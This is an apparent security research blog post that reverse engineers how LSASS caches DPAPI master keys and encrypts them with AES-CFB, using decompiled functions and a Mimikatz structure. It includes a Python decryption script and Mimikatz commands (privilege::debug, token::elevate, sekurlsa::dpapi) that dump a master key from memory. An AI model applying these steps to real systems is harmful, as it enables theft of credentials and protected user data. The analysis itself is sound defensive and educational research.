Reverse engineering LSASS to decrypt DPAPI keys

Before you start reading this post I'd like to point out that this is not a practical technique, no sane person would manually hunt for DPAPI blobs and decryption keys during an assessment - in fact, this is not a "technique" at all, the post is meant to showcase how LSASS handles DPAPI keys under the hood. With that out of the way, carry on ʕ •ᴥ•ʔ


When it comes to DPAPI master keys, we often think of the %APPDATA%\Microsoft\Protect\{SID} folder for user keys or the %WINDIR%\System32\Microsoft\Protect\S-1-5-18 folder for system keys

but the keys are also cached as encrypted blobs in the lsass process.

These keys can be opened into a hex editor like HxD and we can see that the GUID of the key is placed at the very top

To examine the rest of the parameters we could find how data is organized and extract the rest of the information; during my research, I found this post that conveniently lists all the attributes contained inside a DPAPI master key

  • dwLocalEncKeySiz: current slot length

  • dwVersion: data structure version

  • pSalt: salt

  • dwPBKDF2IterationCount: iterations in the PBKDF2 encryption key generation function

  • HMACAlgId: hashing algorithm identifier

  • CryptAlgId: encryption algorithm used

  • pKey: encrypted Local Encryption Key, used for decrypting Local Backup Key in Windows 2000

We can also use the tool from the post to view these attributes

After checking out the demo version of the tool I opened x64dbg and attached a debugger to the lsass.exe process to see what DLLs are loaded into it and their symbols and found what seemed to be the library responsible for handling the cached master keys: dpapisrv.dll and its MasterKeyCacheList function.

Attaching a debugger to the LSASS process will probably cause the system to reboot

So we can open the DLL in IDA64 and take a closer look: while I didn't find the MasterKeyCacheList function in the DLLs functions, I found references to it in other functions like FindMasterKeyEntry

The g_MasterKeyCacheList only gets referenced in the following functions

FindMasterKeyEntry
InsertMasterKeyCache
DPAPIInitialize
DeleteKeyCache

and since I'm focusing on extracting already existing keys, I focused on the FindMasterKeyEntry function and tried to reverse its functionality to see if it does anything interesting: I'm not a master at RE so take this with a grain of salt, also I think IDA might have messed up some of the logic but this is enough to get a general idea of what the function does

HLOCAL *__fastcall FindMasterKeyEntry(
        struct _LIST_ENTRY *cacheList,
        const unsigned __int16 *keyIndentifier,
        struct _LUID *userIdentifier,
        struct _GUID *masterKeyGuid)
{
  HLOCAL *currentEntry;
  HLOCAL *foundEntry;
  __int64 guidDifference;
  const unsigned __int16 *currentKeyId;
  int currentKeyIdChar;
  int comparisonResult;

  // initialize the head of the master key cache list
  currentEntry = (HLOCAL *)g_MasterKeyCacheList;
  // set found entry pointer to nullptr
  foundEntry = 0i64;
  // loop through the cache list                            
  while ( currentEntry != &g_MasterKeyCacheList )
  {
    // check if a GUID is provided
    if ( masterKeyGuid )
    {
      // compare the GUIDs
      guidDifference = *(_QWORD *)&masterKeyGuid->Data1 - (_QWORD)currentEntry[3];
      if ( *(HLOCAL *)&masterKeyGuid->Data1 == currentEntry[3] )
        guidDifference = *(_QWORD *)masterKeyGuid->Data4 - (_QWORD)currentEntry[4];
      // if the difference between the GUIDs is not 0 (the GUIDs are not the same)
      // continue to the next entry
      if ( guidDifference )
        goto NEXT_CACHE_ENTRY;
    }
    // check if user and key identifiers are provided
    if ( !userIdentifier )
    {
      if ( !keyIndentifier )
        goto FOUND_CACHE_ENTRY;
// compare key identifiers
COMPARE_KEY_IDENTIFIERS:
      currentKeyId = keyIndentifier;
      do
      {
        currentKeyIdChar = *(const unsigned __int16 *)((char *)currentKeyId
                                                     + (_BYTE *)currentEntry[15]
                                                     - (_BYTE *)keyIndentifier);
        comparisonResult = *currentKeyId - currentKeyIdChar;
        if ( comparisonResult )
          break;
        ++currentKeyId;
      }
      while ( currentKeyIdChar );
      if ( !comparisonResult )
      {
FOUND_CACHE_ENTRY:
        // update the last access time attribute
        // and return the found entry
        // (this is only called if a matching entry is found)
        foundEntry = currentEntry;
        GetSystemTimeAsFileTime((LPFILETIME)currentEntry + 5);
        return foundEntry;
      }
      goto NEXT_CACHE_ENTRY;
    }
    // check if the user identifier matches the current entry
    if ( *((_DWORD *)currentEntry + 5) == userIdentifier->HighPart
      && *((_DWORD *)currentEntry + 4) == userIdentifier->LowPart )
    {
      goto FOUND_CACHE_ENTRY;
    }
    if ( keyIndentifier )
      goto COMPARE_KEY_IDENTIFIERS;
NEXT_CACHE_ENTRY:
    // move to the next entry
    currentEntry = (HLOCAL *)*currentEntry;
  }
  return foundEntry;
}

In summary, the function searches a list of cached entries for a specific Data Protection API (DPAPI) key. It can use different criteria to find the key:

  • Master Key GUID: searches for an entry with a matching GUID (unique identifier)

  • User Identifier: searches for an entry associated with a specific user account

  • Key Identifier: searches for an entry with a matching key identifier string

Based on the reversed code, one or more of these three attributes might not be present.

If we now switch back to debugging the LSASS process we can go to the address of the FindMasterKeyEntry function and see the values in memory of g_MasterKeyCacheList; as we can see from the image above, the cache list starts with the System Keys as the first 16 bytes are the name of the fist System Key in Little Endian format

With a quick search on the Mimikatz Github repo, we can find this header file which contains the complete structure of the cache entry

typedef struct _KIWI_MASTERKEY_CACHE_ENTRY {
	struct _KIWI_MATERKEY_CACHE_ENTRY *Flink;
	struct _KIWI_MATERKEY_CACHE_ENTRY *Blink;
	LUID LogonId;
	GUID KeyUid;
	FILETIME insertTime;
	ULONG keySize;
	BYTE  key[ANYSIZE_ARRAY];
} KIWI_MASTERKEY_CACHE_ENTRY, *PKIWI_MASTERKEY_CACHE_ENTRY;

and we're able to find the 4 bytes that represent the length of the key; the value is 40 00 00 00 so the encrypted value of the key will be 40 bytes long and it's represented by the section highlighted in light gray.

Now it's time to find out how the key is encrypted and decrypt it: since Windows Vista, the entries for the Master Key cache are encrypted with AES-256 in CFB mode so we should be able to retrieve the IV and key from somewhere in memory.

To find this information I repeated the same steps as before: loaded LSASS in a debugger, looked at the symbols and tried to find functions related to the key's encryption. Doing so I found the lsasrv.dll library which contained symbols like InitializationVector, aesKey and LspAES256DecryptData so I opened it in IDA.

When it comes to the AES key used for encryption and decryption we can simply look at the hAesKey@@3PEAXEA symbol and look at where the value is referenced to find the original hAESKey value in the LsaInitializeProtectedMemory function

We can also reverse said function to understand better what it's doing and how the memory is initialized

__int64 LsaInitializeProtectedMemory()
{
  NTSTATUS status;
  UCHAR *allocatedMemory3DES;
  UCHAR *allocatedMemoryAES;
  UCHAR *v3;
  DWORD lastError;
  ULONG resultSize;
  UCHAR outputLength3DES[4];
  UCHAR outputLengthAES[4];
  UCHAR randomBuffer[16];
  __int64 temp;

  // initialize all the needed buffers
  *(_DWORD *)outputLength3DES = 0;
  *(_DWORD *)outputLengthAES = 0;
  resultSize = 0;
  temp = 0i64;
  // open the 3DES crypto provider
  *(_OWORD *)randomBuffer = 0i64;               
  status = BCryptOpenAlgorithmProvider(&h3DesProvider, L"3DES", 0i64, 0);
  if ( status < 0 )
    goto CLEANUP_FUNCTION;
  // open the AES crypto provider
  status = BCryptOpenAlgorithmProvider(&hAesProvider, L"AES", 0i64, 0);
  if ( status < 0 )
    goto CLEANUP_FUNCTION;
  // set chaining mode to CBC for 3DES
  status = BCryptSetProperty(h3DesProvider, L"ChainingMode", (PUCHAR)L"ChainingModeCBC", 0x20u, 0);
  if ( status < 0 )
    goto CLEANUP_FUNCTION;
  // set chaining mode to CFB for AES
  status = BCryptSetProperty(hAesProvider, L"ChainingMode", (PUCHAR)L"ChainingModeCFB", 0x20u, 0);
  if ( status < 0 )
    goto CLEANUP_FUNCTION;
  resultSize = 4;
  // get the object length for 3DES
  status = BCryptGetProperty(h3DesProvider, L"ObjectLength", outputLength3DES, 4u, &resultSize, 0);
  if ( status < 0 )
    goto CLEANUP_FUNCTION;
  if ( resultSize == 4 )
  {
    resultSize = 4;
    // get the object length for AES
    status = BCryptGetProperty(hAesProvider, L"ObjectLength", outputLengthAES, 4u, &resultSize, 0);
    if ( status < 0 )
    {
CLEANUP_FUNCTION:
      LsaCleanupProtectedMemory();
      return (unsigned int)status;
    }
    if ( resultSize == 4 )
    {
      // calculate the total memory size required
      // for both 3DES and AES
      LODWORD(CredLockedMemorySize) = *(_DWORD *)outputLength3DES + *(_DWORD *)outputLengthAES;
      allocatedMemory3DES = (UCHAR *)VirtualAlloc(
                                       0i64,
                                       (unsigned int)(*(_DWORD *)outputLength3DES + *(_DWORD *)outputLengthAES),
                                       0x1000u,
                                       4u);
      // allocate said memory
      CredLockedMemory = allocatedMemory3DES;
      if ( allocatedMemory3DES && VirtualLock(allocatedMemory3DES, (unsigned int)CredLockedMemorySize) )
      {
        allocatedMemoryAES = CredLockedMemory;
        v3 = &CredLockedMemory[*(unsigned int *)outputLength3DES];
        // generate random bytes for AES key
        status = BCryptGenRandom(0i64, randomBuffer, 0x18u, 2u);
        if ( status < 0 )
          goto CLEANUP_FUNCTION;
        // generate AES key
        status = BCryptGenerateSymmetricKey(
                   h3DesProvider,
                   &h3DesKey,
                   allocatedMemoryAES,
                   *(ULONG *)outputLength3DES,
                   randomBuffer,
                   0x18u,
                   0);
        if ( status < 0 )
          goto CLEANUP_FUNCTION;
        status = BCryptGenRandom(0i64, randomBuffer, 0x10u, 2u);
        if ( status < 0 )
          goto CLEANUP_FUNCTION;
        // generate a random IV
        status = BCryptGenerateSymmetricKey(
                   hAesProvider,
                   &hAesKey,
                   v3,
                   *(ULONG *)outputLengthAES,
                   randomBuffer,
                   0x10u,
                   0);
        if ( status < 0 )
          goto CLEANUP_FUNCTION;
        status = BCryptGenRandom(0i64, &InitializationVector, 0x10u, 2u);
        if ( status < 0 )
          goto CLEANUP_FUNCTION;
        status = 0;
      }
      else
      {
        lastError = GetLastError();
        status = I_RpcMapWin32Status(lastError);
      }
    }
  }
  if ( status < 0 )
    goto CLEANUP_FUNCTION;
  return (unsigned int)status;
}

Now we know where the AES key is stored and how to retrieve it but we'll have to find where the IV is stored.

I tried looking at Mimikatz's source code again to see if I could quickly see where the IV is extracted from but to no avail (I probably missed it).

Opening the file I noticed there is no official PDB file for it

"C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\symchk.exe" /v C:\Windows\System32\lsasrv.dll

...

SYMCHK: lsasrv.dll           FAILED  - lsasrv.pdb mismatched or not found

...

so I had to read it from here: I just downloaded the raw HTML contents (just skip the header), saved it to the desktop as lsasrv.pdb and IDA found the symbols as soon as I opened it up.

Next up I looked for some of the symbols I mentioned starting from InitializationVector as it seemed a pretty good place to start looking; that symbol is only referenced by the LsaEncryptMemory and LsaInitializeProtectedMemory functions: this is the reversed code from LsaEncryptMemory

void __fastcall LsaEncryptMemory(PUCHAR pbOutput, ULONG cbInput, int operation)
{
  // handle to the key used for encryption and decryption
  BCRYPT_KEY_HANDLE keyHandle;
  // size of the IV
  ULONG ivSize;
  // size of the encryption result
  ULONG resultSize; 
  // buffer for the IV (16 bytes)
  UCHAR ivBuffer[16]; 

  if ( pbOutput )
  {
    // set the value of the key handle to the
    // default 3DES key handle (???)
    keyHandle = h3DesKey;                       
                                                
    resultSize = 0;
    // default IV size for 3DES
    ivSize = 8;                                 
    if ( cbInput )
    {
      // copy the initialization vector
      // to the dedicated buffer
      *(_OWORD *)ivBuffer = *(_OWORD *)&InitializationVector;
      // check if the input size if a multiple of 8
      // if it is, use AES instead of 3DES             
      if ( (cbInput & 7) != 0 )                                                     
      {
        // set the value of the key handle
        // to the AES key
        keyHandle = hAesKey;
        // default IV size for AES                     
        ivSize = 16;                            
      }
      if ( operation )
      {
        // if operation == 1 : perform encryption
        // else              : perform decryption
        if ( operation == 1 )                   
          BCryptEncrypt(keyHandle, pbOutput, cbInput, 0i64, ivBuffer, ivSize, pbOutput, cbInput, &resultSize, 0);
      }
      else
      {
        BCryptDecrypt(keyHandle, pbOutput, cbInput, 0i64, ivBuffer, ivSize, pbOutput, cbInput, &resultSize, 0);
      }
    }
  }
}

This is a really valuable snippet of code: not only it shows how LSASS decides whether to use 3DES or AES, but it also gives us a direct reference to the InitializationVector that we can now read from memory by using a debugger (light-gray highlighted text)

The same process can be repeated for the 3DES key which is referenced in the LsaEncryptMemory.

Now we have everything we need to decrypt the DPAPI master keys!

It's possible to write a console application that gets a handle to the LSASS process, enumerates the base addresses of the lsasrv.dll and dpapisrv.dll libraries and extracts the needed values from memory to decrypt the key, but in this case I went with something simpler and wrote the following script: its functionality is pretty basic as it just uses the Python Crypto module to AES-CFB decrypt the encrypted key based on the IV and AES key values supplied by the user.

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import binascii

def decryptMasterKey(encrypted_master_key, aes_key, iv):
    cipher = AES.new(aes_key, AES.MODE_CFB, iv=iv)
    decrypted_master_key = cipher.decrypt(encrypted_master_key)
    
    return decrypted_master_key

if __name__ == "__main__":
    # replace these with the actual encrypted master key,
    # AES key, and IV found in memory 
    encrypted_master_key_hex = "<MASTER_KEY_HEX>"
    aes_key_hex = "<AES_KEY_HEX>"
    iv_hex = "<IV_HEX>"
    
    encrypted_master_key = binascii.unhexlify(encrypted_master_key_hex)
    aes_key = binascii.unhexlify(aes_key_hex)
    iv = binascii.unhexlify(iv_hex)
    
    decrypted_master_key = decryptMasterKey(encrypted_master_key, aes_key, iv)
    print("[~] Master Key:", binascii.hexlify(decrypted_master_key).decode())

To test this script, I decrypted the first entry in the master key cache list with GUID 5b31d113-c5ac-441e-bc2d-391de8323a5f (the same one I documented above): this is the output of the Python script

python3 dpapiMaster.py
[~] Master Key: 1b12c4ef9cc58e5b79371243aacbeb47187267c45853a35936f8a85e4828ffac074ae0d62c39ced468d0f41c66077674a48b6cdebcf9a7a01f4b2d05e3494fab

and this is Mimikatz's output

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # token::elevate
Token Id  : 0
User name :
SID name  : NT AUTHORITY\SYSTEM

616     {0;000003e7} 1 D 23011          NT AUTHORITY\SYSTEM     S-1-5-18        (04g,21p)       Primary
 -> Impersonated !
 * Process Token : {0;0001cb4c} 1 F 12026358    COMMANDO\otter  S-1-5-21-4130188456-627131244-1205667481-1000   (15g,25p)       Primary
 * Thread Token  : {0;000003e7} 1 D 12178278    NT AUTHORITY\SYSTEM     S-1-5-18        (04g,21p)       Impersonation (Delegation)
 
mimikatz # sekurlsa::dpapi

...

[00000001]
         * GUID      :  {5b31d113-c5ac-441e-bc2d-391de8323a5f}
         * Time      :  6/21/2024 12:48:29 PM
         * MasterKey :  1b12c4ef9cc58e5b79371243aacbeb47187267c45853a35936f8a85e4828ffac074ae0d62c39ced468d0f41c66077674a48b6cdebcf9a7a01f4b2d05e3494fab
         * sha1(key) :  4f9b43dcdaede3547fcc55815eb10f1755033456

ʕ •ᴥ•ʔ

Last updated